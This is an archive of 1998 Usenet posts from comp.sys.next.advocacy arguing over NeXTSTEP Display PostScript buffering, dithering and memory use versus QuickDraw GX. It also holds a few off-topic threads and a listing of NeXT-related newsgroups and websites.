References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <35359e86.0@206.25.228.5> <6h8akv$ol4$1@nnrp1.dejanews.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3538df58.0@206.25.228.5>
Date: 18 Apr 98 17:14:00 GMT
rfuller@genre.com wrote:
> And can any of you tell me what the fuque any of this politically
> philosophical crap has to do with NeXT/Mac advocacy?
I for one, can't. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
Date: 19 Apr 1998 00:39:08 GMT
Organization: MiscKit Development
Message-ID: <6hbh3c$o7e$1@news.xmission.com>
References: <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29>
"Lawson English" <english@primenet.com> wrote:
> The main programmer from ID wrote a little review of the OpenStep version
> of his Quake Editor. He *explicitly* said that the way in which OpenStep
> does graphics (32=>8-bit dithering) was unsuitable for this kind of thing.
> I imagine that the off-screen window-buffering would have made the problem
> worse, not better, in this case because the overhead of 32-bit=>8-bit
> bitmap dithering would have simply compounded the problem.
That's bullsh*t and you know it. DPS only buffers when you ask it to.
Buffering is the default in InterfaceBuilder, but it can be turned off with
one mouse click. And if you are creating stuff programmatically instead of
with IB, then you _have_ to tell DPS which beffering scheme to use. You
have:
* non-retained -- nothing is buffered, ever
* retained -- only buffers obscured stuff, but not the
initial drawing
* full buffering -- buffers all drawing and then flushes with
one blit when you are done drawing. Also retains obscured
areas in offscreen buffers
I think Carmack was smart enough to turn of buffering for his editor if it is
causing any problems. His only quibble was the dithering process, which he
didn't like. (The answer is to not use 8-bit color, of course. I find the
555 mode on my Millenium to be quite fine, myself. In his application, that
wasn't feasible, so there was a problem.) Carmack *never* said the buffering
was a problem, and if the buffering had caused him problems, he would have
said so. I don't think you should invent problems for him that he never had.
Additionally, and you should know this because you've been told countless
times by people who know, the off screen buffers are, by default, tuned to
match the color depth and frame buffer geometry so that blits are as fast as
possible between screen and buffer. The dithering happens during initial
drawing (if it has to happen at all) and not usually during buffer transfers.
It only happens if you create a buffer that doesn't match the screen depth.
You have to do that explicity, and I've not seen many apps do it.
> In this case, GX is decidedly superior: you can describe a shape, including
> bitmap, using any color space, and render it into any other color space.
Yeah, so? DPS deals with any colorspace, too. You set your color and then
draw. Set it using HSB, CMYK, RGB, or whatever and then draw. The drawing
is the same every time. The same code can be used. It does the right thing,
and it just works. Buffers can be explicitly created that *don't* match the
screen depth (higher or lower) and you can copy them into other buffers with
different depths and DPS will do the right thing. Dither if needed,
translate colorspace if needed, whatever. It keeps track of the details; you
tell it what you want and it does whatever it takes to do it.
> Bitmaps and other shapes can be 1-,2-,4-, 8-, 16-, 24-, 32-, and 64-bit so
> no dithering need be done for any given screen-depth. (actually, all shapes
> are either indexed, or have 5/8/16-bit color channels, but you can specify
> that there are only 2 colors in the indexed color table, which effectively
> makes it a 1-bit color-space, although I don't believe any RAM is saved by
> doing this).
I fail to see how GX is superior to DPS in this area. DPS can basically do
all this.
If I were to have any quibbles with DPS it would only be that NeXT has made
it somewhat difficult to get at the colormaps that are being used in non-true
color modes. (You can access them, but it ain't easy to do.) That and also
the quibble that I am not aware of how to change the dithering algorithm to,
say, Floyd Steinberg, if I wanted to. I suspect it could be done, but I
don't know how since I've never tried to do it and I don't recall seeing an
obvious way to do it.
I'm glossing over a lot of details here, but I see no need to repeat in
further detail what myself and others have been telling you for the past
year. Seems like once every two months or so you forget *everything* we've
told you and then you start spouting the same bull all over again.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: RAM/etc requirements for Yellow Box apps (Was Re: Mac programming...
Date: 19 Apr 1998 01:20:46 GMT
Organization: MiscKit Development
Message-ID: <6hbjhe$o7e$2@news.xmission.com>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29>
"Lawson English" <english@primenet.com> wrote:
> [I'm cross-posting this reply to comp.sys.next.advocacy to ensure accuracy]
Hah. Accuracy from you is like getting rays of sunshine out of my *ss.
> The default for NeXTstep is to have all windows buffered off-screen in a
> 32-bit RGBA bitmap.
No. It isn't. At worst, the buffer will default to drawing to the *screen*
depth, whatever that is. There are two types of buffer. One is where things
are drawn before they get flushed to the screen. The other retains chunks of
windows that have been obscured by other windows. The latter will typically
be screen depth, since they are simply copied off the screen. The former
will often be 2-bit monochrome. Since the NeXT GUI requires four shade of
gray at a minimum (black, which, and two grays in between) the drawing
buffers start at that depth. They are "promoted" to screen depth the moment
you draw some richer color into them. To get a buffer that is deeper than
screen depth, you have to explicity create it yourself.
There are very few cases where you would do this. One concrete example would
be a paint program. I can create 32-bit color images--and edit them in 32
bit color--even on a 16 bit color screen. Yes, it works, and it works quite
well. To do it accurately, though, you have to zoom in so that DPS can
dither things a little for you. Otherwise it is hard to tell one shade from
another if the differences are below the 16 bit color's rendering
capabilities. :-)
> This works out to about 1MB of RAM needed per open
> window.
So every window must be the same size, huh? Such gross oversimplifications
are sometimes an indicator of someone talking out their *ss. Of course,
you're a special case Lawson. If I want to observe someone talk out their
*ss on a topic they are unilaterally unqualified to discuss, then I hunt down
one of your posts.
> While this may no longer be the case with YB, ALL NeXTstep rendering is
> done in 32-bit mode and dithered down to the screen resolution,
Wrong. Bzzt. Game over. Try again.
> or so I
> have read (corrections always welcome).
Where the HELL did you read this? Not in any NeXT documentation, and not
from any NeXTie, I assure you. I guess you mean you "read this into" the
convenient web of lies you are continually spinning to help you feel secure
while maintaining your arrogant, unsupportable fantasies.
> This is fine for high-end DTP, but
> a bit of overkill for a lots of applications, such as ID's Quake editor.
Which is why NEXTSTEP has NEVER done what you are suggesting.
> You can change the way in which buffering is done, I'm told, so that
> rendering is done directly on-screen, freeing up 1MB per window.
Yes. Quite easily. See my other post for more details about the buffers.
> I assume that Yellow Box apps will have the same default and options for
> rendering.
I sure as hell hope so. What it is doing now works, and it works very well.
Because of the buffering, the drawing is crisp and *feels* much faster than
what I've seen on any other OS. Not only that, the memory requirements
aren't as bad as you think. Because of the way DPS does its drawing and
buffering, a 64MB Pentium Pro 200 box running OPENSTEP 4.2 feels at *least*
two times faster and swaps less than a 128MB Pentium II 300 running Windows
NT. That's not a benchmark, that is based upon user perception, so it is
subjective. But the difference is enough to be observable...and that *is*
significant, to me at least.
Granted, I would recommend a minimum of 32MB for any machine running
OPENSTEP. But for many non-power users, 32MB should be plenty. My 64MB
machine almost *never* swaps, even when I'm running over 15+ apps. That's my
normal operating mode--I've only got 13 running now, and I often have at
least four others up...with 13 apps up--all using DPS--I still have 15% of my
memory free (unused). That's almost 10M out of 64M. So if you're a power
user, 64M should be *plenty*. Oh, and on the buffering, consider that two of
the apps have windows that are almost full screen (and I'm runnin at
1600x1200). Guess those buffers aren't eating up as much as you thought...
(Remember that that RAM has got all of UNIX, the Foundation Kit, the
Application Kit, and the apps in it as well as just DPS and its buffers...)
So, if you want a rule of thumb for how much RAM to get your Rhapsody
computer, then take 16 and add 1.5 for every application you expect to have
running at the same time. For example, if you think you'll be running six
apps at once, then you'll add nine. Round up to the nearest multiple of 16.
That's how many meg your computer should have, minimum, to make you *really*
happy. You'll be able to get by on half that amount without getting
completely disgusted, though, so that should give a reasonable range.
Developers, to be happy, should just double the max you get above. Compiles
run faster with more RAM because the temporary intermediate files stay in
memory buffers instead of going out to disk, and that helps speed
significantly. The more RAM the merrier for developers.
Also, non-programmers should keep in mind that you'll be running more apps
simultaneously under Rhapsody than you would on Windows or MacOS. There is
no real benefit to quitting an app when you are done with it, but there's a
benefit to keeping it running (you don't have to wait for it to launch the
next time you need it). That's one reason why it is normal for me to be
running 15+ apps at once and sometimes over 30 at a time!
_True_ multitasking and virtual memory are _so_ nice. You won't understand
until you've used them long enough to grow accustomed to them...and then
you'll have to be dragged away kicking and screaming to use anything less...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
Date: Sat, 18 Apr 1998 20:19:33 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6hbjjj$hlq1@odie.mcleod.net>
References: <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29>
>> "Lawson English" <english@primenet.com> wrote:
>> > While this may no longer be the case with YB, ALL NeXTstep
>> > rendering is done in 32-bit mode and dithered down to the screen
>> > resolution, or so I have read (corrections always welcome). This
>> > is fine for high-end DTP, but a bit of overkill for a lots of
>> > applications, such as ID's Quake editor.
>>
Where do these thing come from? All windows can have different backing
store bit depths. A two bit gray window has a two bit gray backing store
until the program draws something in color. Then the window's backing store
is promoted to the color depth of the screen. Also, no backing store is an
option, but for very good reasons, it is seldom used.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
References: <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35395405.0@206.25.228.5>
Date: 19 Apr 98 01:31:49 GMT
"Lawson English" <english@primenet.com> wrote:
> John Kheit <jkheit@xtdl.com> said:
> > "Lawson English" <english@primenet.com> wrote:
> > > While this may no longer be the case with YB, ALL NeXTstep
> > > rendering is done in 32-bit mode and dithered down to the
> > > screen resolution, or so I have read (corrections always
> > > welcome). This is fine for high-end DTP, but a bit of overkill
> > > for a lots of applications, such as ID's Quake editor.
> >
> > I disagree. I enjoy not having screen poop. It doesn't take
> > 1mb per window, because the backing store is automatically
> > compressed on the fly for windows not actively being dinked
> > with. Even if it did, the smoothness is worth the price in
> > ram/swap, which is dirt cheap. Much better than the mac/win/nt
> > screen poop/redraw drag, IMO. YMMV.
> The main programmer from ID wrote a little review of the OpenStep
> version of his Quake Editor. He *explicitly* said that the way
> in which OpenStep does graphics (32=>8-bit dithering) was unsuitable
> for this kind of thing. I imagine that the off-screen window-buffering
I remember the thing your referring to. If my memory serves, he
was talking about the 3D stuff in general. Turning off backing
stores, *the original point of the comments above before you decided
to make this yet another GX diatribe* was not a problem with the
Quake stuff.
As to your new topic, doing things in 8bit color, period, is going
to be much better than going from 32 down to 8bit. Of course, for
the privilege you will pay a system wide penalty of having dumb
ass CLUTs which are evil. Besides, CPUs today, with 3D cards et
al. would provide enough brute force to do Quake ][. Yea, it will
be a performance hit, but one that's well worth not dealing with
CLUTS or the dangers of direct video access by a game, which might
bring down an entire system. It's time, even for the game makers,
to stop dinking around directly with memory spaces and smashing
systems, IMO. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Date: Sat, 18 Apr 1998 21:21:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,soc.culture.usa
Subject: Re: America vs. Europe: education
Message-ID: <joe.ragosta-1804982121500001@elk58.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <35392938.1DC@accesspro.net>
In article <35392938.1DC@accesspro.net>, Adrian Penalo
<adrianp@accesspro.net> wrote:
> "America vs. Europe"? Shouldn't it be "The United States vs. Europe"?
> Remember that "America" is the entire Western Hemisphere (North,
> Central, and South America), not only the U.S.A.
Why the U.S. vs. an entire continent?
I would imagine that you could find a few corners in Europe with worse
education than the U.S.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 18 Apr 1998 15:21:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15E767A-49D99@206.165.43.29>
References: <1998041817502900.NAA02191@ladder03.news.aol.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> Yes, but Ready Set Go isn't supported by very many service bureaus.
>
AS far as I know, RSG can produce PostScript output, just like any other
high-end DTP package. In fact, if it prints under MacOS 8, it DOES produce
PS output directly using Apple's new GX printing library. Unfortunately,
under MacOS 8, unless the developers have tweaked the library, it doesn't
produce device-independent PS/EPS files when there are overlapping
non-opaque images, but that is Apple's fault for not having specified that
option when they hired Dan Lipton to do the GX=>PS library, eh?
> I'd be interested in learning of workarounds for getting output from
> imagesetters using GX,
FROM imagesetters? Not sure what that means. If you mean "TO" imagesetters,
MacOS 8 will produce PDF files from PS printer output, I believe. The
drawback is when you have overlapping non-opaque graphics as I point out
below.
also on how to manipulate intercharacterpair
> kerning
> within a GX application with a GX font.
That's the responsibility of the GX app to provide an interface to the GX
API.
The Typography API (parts of which may or may not be included in NSText, I
don't know), includes the ability to handle both with-stream kerning
(standard horizontal [vertical] positioning between character pairs) and
cross-stream kerning (not-so-standard vertical [horizontal] posititioning
between sets of glyphs).
You're familiar with with-stream kerning, of course, but did you know that
a GX font can specify the vertical position of a hyphon when it appears
between different pairs of characters in order to gain the best-quality
appearance of the trio of glyphs?
Of course, if you wish, you can "kerning inhibit" the default with-stream
kerning of a GX font in a given GX style-run, in a range from 0 to 100%
over-ride. You can manually set the kerning for any pair of glyphs using
the built-in GX API (GXFCN will handle this, of course, although providing
a scripting-friendly interface for doing so within HyperCard is another
issue altogether
:-/). I believe that this over-ride mechanism applies to both with-stream
and cross-stream kerning.
There are other "kerning-like" mechanisms supported by GX (recall that all
GX fonts can/do specify default values for these mechanisms when dealing
with specific pairs, trios, and even *groupings* of glyphs, so you usually
won't need to manually adjust ANY of these settings to obtain highly
professional output because the font designer did it for you).
Other things that the font can specify that you can directly control
include:
"imposed width" -allows you to specify a single whitespace character in a
style-run with an "imposed" arbitrary width -useful for embedding graphics.
kerning adjustments array -allows you to specify the kerning for any number
of pairs of glyphs.
Glyph substitutions -allows you to create an array of substitution pairs.
Font features -where to start? Pretend that GX allows one to control the
appearance of a glyph -the width/height/shadow/skew/perspective/whatever,
the swashes, the first/middle/last glyph in a word or line, the ability to
convert to all-caps, all-lowers, all-but-first-small-caps-first-large-cap,
etc. It does.
Want to have a vertical version of a left/right paranthesis so that you can
render vertical English text with parathesis that lay flat instead of
stick out above/below the text? Done. Any glyph can have a vertical
[horizontal] alternative version.
The list of features, kerning and layout, that GX Typography supports fill
several large chapters of the GX Typography book. Apple makes remarks
about supporting GX Typography, but unless ALL of GX graphics is supported,
this makes no sense.
GX allows one to have layers of typefaces. A typeface is a copy of a given
glyph, with a stylistic variation added. This could range from invisible
(useful for providing multi-colors to GX layouts by having muliple copies
of the layout with different colors and different invisible/visible
glyphs), to 3x3 matrix transformations, to standard GX graphics stylistic
variations like patterns, miters, etc. You can have multiple layers applied
to a given style-run of glyphs so that you can do just about ANY
conceivable thing to a bit of text by layering typefaces and complete
layouts with the invisible/visible option.
I haven't tried this, but apparently GX typing is fast enough that one can
apply these effects (to some arbitrary degree obviously) in real-time, as
you type, or so the Creator2 developers seem to be saying by drawing
multiple layers of layouts as you type instead of merely drawing a single
layout. If you want to get really fancy, you could use the text as a mask
for a bitmap or ramp and apply the typeface stuff as above.
>
> As I've noted previously, I think (or would like to think) highly of GX,
but
> it's not very workable from a professional printer's point of view.
>
Much as I dislike the new MacOS 8 printing solution for GX, it DOES allow
you to export EPS files and produce PS output directly. The drawback is
that when you have overlapping non-opaque graphics, it doesn't use the
original GX printing method of determining the appearance of an equivalent
opaque vector shape derrived from the overlapping non-opaque shapes, but
actually creates a printing-device-resolution bitmap a few pixels high and
one page wide and renders into that and sends the bitmap to the printer one
strip at-a-time.
This is OK for direct printiing, but the library, as supplied from Apple,
can't specify the bitmap resolution, so I believe that exported EPS files
will contain a 72DPI bitmap where-ever overlapping non-opaque shapes and
graphics occur unless the applications developer tweaks the library.
Ick.
Sigh.
There's a relatively trivial way of adding a GX-like library to Rhaposdy,
but the NeXT engineers at Apple are so in-love with the flexability of
Objective-C that they apparently aren't interested in doing it (GX done
right requires a certain amount of discipline, programmatically, and Obj-C
kinda is the ultimate undisciplined programming language due to the dynamic
binding stuff).
OTOH, maybe they already have implemented such a library, and we'll hear
about it next month at the WWDC when they unveil their "powerful new
printing architecture." Unfortunately, I'm pretty certain that this will
simply be PDF which is barely any more disciplined than PS and certainly
can't handle the editing of overlapping non-opaque text.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Adrian Penalo <adrianp@accesspro.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,soc.culture.usa
Subject: Re: America vs. Europe: education
Date: Sat, 18 Apr 1998 18:29:12 -0400
Organization: AccessPro
Message-ID: <35392938.1DC@accesspro.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
<ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
<MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
"America vs. Europe"? Shouldn't it be "The United States vs. Europe"?
Remember that "America" is the entire Western Hemisphere (North,
Central, and South America), not only the U.S.A.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: RAM/etc requirements for Yellow Box apps (Was Re: Mac
programming...
Date: 18 Apr 1998 16:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15E8231-75E71@206.165.43.29>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo>
To: "Earl Malmrose" <malmrose@jetcity.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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[I'm cross-posting this reply to comp.sys.next.advocacy to ensure accuracy]
Earl Malmrose <malmrose@nospam.jetcity.com> said:
> It will be interesting to see how well the Yellow Box libraries run on
the
> various systems, how easy they are to install, compatibilites, etc. Any
> idea what kind of resources they'll take, in addition to the native OS
> (disk space, ram, etc.)?
The default for NeXTstep is to have all windows buffered off-screen in a
32-bit RGBA bitmap. This works out to about 1MB of RAM needed per open
window.
While this may no longer be the case with YB, ALL NeXTstep rendering is
done in 32-bit mode and dithered down to the screen resolution, or so I
have read (corrections always welcome). This is fine for high-end DTP, but
a bit of overkill for a lots of applications, such as ID's Quake editor.
You can change the way in which buffering is done, I'm told, so that
rendering is done directly on-screen, freeing up 1MB per window.
I assume that Yellow Box apps will have the same default and options for
rendering.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ccox@slip.net (Chris Cox)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sat, 18 Apr 1998 17:26:19 -0700
Organization: Slip.Net (http://www.slip.net)
Message-ID: <ccox-1804981726190001@sja-pm1-54-118.dialup.slip.net>
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com> <6h00qa$f7k$1@joe.rice.edu>
In article <6h00qa$f7k$1@joe.rice.edu>, maliyekk@rice.edu (Anil Thomas
Maliyekkel) wrote:
> : Before getting so worked up about the lack of a 100MHz bus, David, why
> : don't you quantify for us just how much performance you are missing. Do
> : you even know? Do you know if using currently available SDRAM in a 100MHz
> : system and increasing the latency will slow down or speed up a system? Do
> : you know if maybe the system could best be made to run faster not by
> : screwing around with the bus speed but by revving the various chips on the
> : bus to be able to queue more transaction, and by making more aggressive
> : use of the pipelining capabilities defined in the 60x bus?
> : The point is, if you don't know the answers to these questions, then you
> : are hardly in a position to call the Apple engineers idiots. Chances are,
> : they DO know the answers, and are making their decisions based on what
> : will actually speed up systems, not based on "ooh, 100 is bigger than
> : 83---lets make our next bus run at 100MHz and screw the consequences".
>
> I don't think David was calling the Apple engineers idiots. Quite
> the opposite actually. The main point he has been arguing is that
> the explanation offered by MacOSRumors, which is claiming to have
> 2nd hand knowledge of what Apple engineers have said regarding
> the required timing for 100MHz SDRAM, is wrong.
When has MacOSRumors ever been right about hardware?
Trust me -- the Apple hardware guys know what they're doing.
As does Somerset.
Chris
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
programming...
Date: 18 Apr 1998 19:15:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15EAD47-C5D7@206.165.43.9>
References: <35395405.0@206.25.228.5>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Kheit <jkheit@xtdl.com> said:
> I remember the thing your referring to. If my memory serves, he
> was talking about the 3D stuff in general. Turning off backing
> stores, *the original point of the comments above before you decided
> to make this yet another GX diatribe* was not a problem with the
> Quake stuff.
This was the Quake *editor*. It wasn't a backing-store issue, as far as I
can tell, but a dithering issue. The Quake textures are all 8-bit, whereas
the drawing has to be 32-bit dithered to 8-bit.
And CLUTs may be awkward, but GX's implementation of them is reasonably
useful.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
programming...
Date: 18 Apr 1998 19:41:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15EB36A-23703@206.165.43.9>
References: <6hbh3c$o7e$1@news.xmission.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Don Yacktman <don@misckit.com> said:
> Carmack *never* said the buffering
> was a problem, and if the buffering had caused him problems, he would
> have
> said so. I don't think you should invent problems for him that he never
had.
Thanks for the corrections. Here is section from the original article by
Carmack:
<http://www.gamers.org/dEngine/quake/QuakeEd/QuakeEd.html>
++++
"This is a NEXTSTEP application, so hardly anyone is going to be able to
use the code as is. This is not an OPENSTEP application. It doesn't even
use the foundation kit, so porting to gnustep or openstep-solaris/mach/nt
would not be trivial.
This application was really not a very good fit for NEXTSTEP. The display
postscript model fundamentally doesn't fit very well with what we need here
-- if you run in an 8 bit color mode, the line drawing runs at an ok speed,
but the texture view goes half the speed it should as it dithers from 24
bit color down to 8 bit. If you run in 24 bit color mode, you get less
screen real estate and significantly slower line drawing as a 3 megabyte XY
view is flushed. Sigh. If anyone does actually run this on NEXTSTEP be
advised that you want a fast machine."
+++++
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: pomart@cartoon.ecn.purdue.edu (Your Name)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 19 Apr 1998 02:42:40 GMT
Organization: Purdue University
Message-ID: <6hbob0$5g8@mozo.cc.purdue.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul>
"NeXT Newbie" <macghod@concentric.net> writes:
>We have all heard about all of Jobs pecadillos, about how he screwed THe
>Woz out of $200, about how he cusses people out, and quite frankly its time
>to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply dont
>value INTEGRITY Like you should!
Shut up! Jobs is doing fine, could have done better, yes, but he's
doing all right.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <5697892353623@digifix.com>
Date: 19 Apr 1998 03:50:14 GMT
Organization: Digital Fix Development
Message-ID: <23877892958423@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
